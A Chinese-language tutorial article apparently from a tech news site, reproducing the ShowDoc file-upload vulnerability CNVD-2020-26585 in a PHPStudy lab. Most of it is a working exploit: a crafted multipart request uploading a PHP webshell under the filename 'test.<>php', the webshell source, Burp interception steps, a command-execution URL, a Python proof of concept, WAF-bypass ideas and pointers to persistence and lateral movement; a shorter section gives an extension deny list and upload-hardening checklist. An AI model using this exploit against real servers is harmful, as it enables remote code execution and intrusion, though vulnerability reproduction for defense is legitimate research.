当前位置: 首页 > news >正文

ShowDoc旧版本文件上传漏洞实战复现(CNVD-2020-26585,附PHPStudy环境搭建)

ShowDoc文件上传漏洞深度解析与实战复现指南

1. 漏洞背景与环境搭建

ShowDoc作为一款广受欢迎的在线文档协作工具,曾因文件上传功能的设计缺陷导致严重安全漏洞(CNVD-2020-26585)。这个漏洞的核心在于前端校验可被绕过,允许攻击者上传恶意脚本文件。我们先从基础环境搭建开始。

本地测试环境推荐配置

组件版本要求备注
PHPStudyv8.1或更高集成Apache/MySQL环境
ShowDocv2.8.2以下版本漏洞影响版本
Burp SuiteCommunity/Pro用于拦截和修改HTTP请求
蚁剑最新版WebShell管理工具

安装PHPStudy后,按以下步骤配置ShowDoc:

  1. 下载ShowDoc v2.8.1版本(可从GitHub releases获取历史版本)
  2. 解压到PHPStudy的WWW目录
  3. 访问http://localhost/showdoc完成安装向导
  4. 创建测试文档页面备用

注意:实验环境请使用虚拟机或隔离网络,避免真实系统受影响

2. 漏洞原理深度剖析

这个文件上传漏洞的特别之处在于它结合了多种安全缺陷:

  • 前端校验依赖:仅通过JavaScript验证文件扩展名
  • MIME类型混淆:服务端未严格校验Content-Type
  • 路径可预测:上传后的文件路径有固定规律
POST /index.php?s=/home/page/uploadImg HTTP/1.1 Host: localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php" Content-Type: text/plain <?php system($_GET['cmd']); ?> ------WebKitFormBoundaryABC123--

关键攻击点分析:

  1. 使用特殊字符<>绕过基础过滤
  2. 伪造Content-Type为text/plain
  3. 利用服务端未清理文件名中的特殊字符

3. 完整复现步骤详解

3.1 准备攻击载荷

创建包含以下代码的PHP文件(如shell.php):

<?php // 简易WebShell if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } else { echo "Server: ".php_uname(); } ?>

3.2 Burp Suite拦截修改

  1. 在ShowDoc上传界面选择任意图片文件
  2. 开启Burp Suite拦截(Proxy → Intercept on)
  3. 修改关键请求参数:
- Content-Disposition: form-data; name="editormd-image-file"; filename="test.jpg" + Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php" - Content-Type: image/jpeg + Content-Type: text/plain

3.3 获取WebShell

成功上传后,响应会包含文件路径:

{ "success": 1, "message": "上传成功", "url": "/Public/Uploads/2023-08/test.<>php" }

访问该路径即可执行系统命令:

http://localhost/showdoc/Public/Uploads/2023-08/test.<>php?cmd=whoami

4. 防御方案与安全启示

4.1 临时修复措施

对于仍在使用旧版本ShowDoc的用户,建议:

  1. application/extra/upload.php中添加严格过滤:

    $deny_ext = array('php','php5','php4','php3','phtml','htaccess');
  2. 修改Nginx/Apache配置,禁止执行上传目录的PHP文件

4.2 安全开发建议

文件上传功能的安全检查清单

  • [ ] 服务端文件类型校验(MIME检测)
  • [ ] 文件内容签名验证
  • [ ] 随机重命名上传文件
  • [ ] 设置上传目录不可执行
  • [ ] 文件扩展名白名单机制
  • [ ] 文件大小限制

经验分享:在实际渗透测试中,遇到文件上传功能时,可以尝试以下测试向量:

  • 双扩展名(test.php.jpg)
  • 大小写变异(test.PhP)
  • 特殊字符注入(test.%00.php)
  • 超长文件名

5. 漏洞研究进阶方向

掌握了基础复现方法后,可以进一步探索:

  1. 自动化利用脚本开发:使用Python编写PoC

    import requests url = "http://target.com/index.php?s=/home/page/uploadImg" files = {'editormd-image-file': ('shell.<>php', '<?php system($_GET[cmd]);?>', 'text/plain')} response = requests.post(url, files=files)
  2. 权限维持技术:如何将WebShell隐藏得更深

  3. 内网渗透路径:通过WebShell进行横向移动

在实际测试中,发现某些WAF会对<>字符进行拦截,此时可以尝试其他特殊字符组合,如:

  • 换行符\n注入
  • Unicode编码绕过
  • 分块传输编码

最后提醒:所有安全研究都应在合法授权范围内进行,漏洞复现的目的是为了更好地防御。建议在本地搭建的测试环境中练习这些技术,切勿对未授权系统进行测试

http://www.jsqmd.com/news/902885/

相关文章:

  • 让设计更有温度——网页设计心理学实战指南
  • 对比直接调用与通过 Taotoken 调用大模型的响应体感差异
  • 告别模糊时代:用Real-ESRGAN-GUI轻松实现图片高清修复的终极指南
  • 在Node.js服务中集成Taotoken实现统一的AI功能调用
  • 合肥黄金回收实测复盘:5家正规门店深度对比,告别回收套路 - 奢侈品回收测评
  • 2026济南企服机构实力测评:7家靠谱财税/资质服务商全解析 - 资讯速览
  • Tftpd64:终极轻量级网络服务套件的深度解析与实战指南
  • 构建AI模型价格追踪数据集:从数据采集到开源实践
  • Qt程序打包分发实战:用windeployqt为你的VS2017+Qt5.14应用制作绿色便携包
  • Pearcleaner:如何通过智能监控与架构感知技术彻底重构macOS应用清理体验
  • C++字符串处理实战:用cin和getline两种方法搞定OpenJudge NOI 1.7 24题(附完整代码)
  • 2026年浪琴中国区售后服务网络优化升级:权威评测与数据验证(最新服务信息) - 资讯速览
  • 2026周口市本地人必选的水质检测专业机构TOP7推荐!生活饮用水检测、直饮水检测、污水废水检测、矿泉水检测,正规CMA资质检测公司排名推荐 (2026年5月水质检测最新深度调研方案) - 一休咨询
  • 告别简历制作的“选择困难症”:15款主流简历工具深度测评
  • 别再只会用hping3了!用Python手搓一个TCP SYN Flood攻击脚本(附完整代码与防御测试)
  • 告别轮询!用libhv的WebSocketClient类,5分钟搞定C++双向通信客户端
  • 从STK到osgEarth:雷达威力三维可视化的技术路线变迁与选型思考
  • Word怎么转图片?2026年保姆级教程,3种方法手把手教你一看就会
  • 从Unity 2022到Unity 6:平台判断API的演变与未来最佳实践
  • 终极Nintendo Switch文件管理工具:NX-Shell完整使用指南
  • RedisDesktopManager Windows版终极指南:如何高效管理Redis数据库
  • 浙江稻盛和夫——GEO源头服务商,硬核技术赋能大企业AI增长 - 稻盛和夫GEO
  • 2026深圳香奈儿回收排名,收的顶综合实力靠前机构 - 奢侈品回收测评
  • Cloud Controller Manager
  • 2026 成都名表回收实测|添价收高价透明无套路,六大机构深度对比 - 薛定谔的梨花猫
  • 不只是打命令:深入理解Arch Linux显卡驱动里的VA-API、VDPAU都是啥,怎么选?
  • FortiGate防火墙当‘交通警察’:手把手配置策略路由,让软路由只负责‘特定任务’
  • 5分钟掌握哔哩下载姬Downkyi:免费获取B站8K超高清视频的完整指南 [特殊字符]
  • 2026年运营商主机安全防护产品盘点,企业服务器安全平台及风险闭环处置平台推荐 - 品牌2025
  • 衡水黄金回收哪家强?福昌夏领衔六家靠谱机构实测推荐 - 黄金上门回收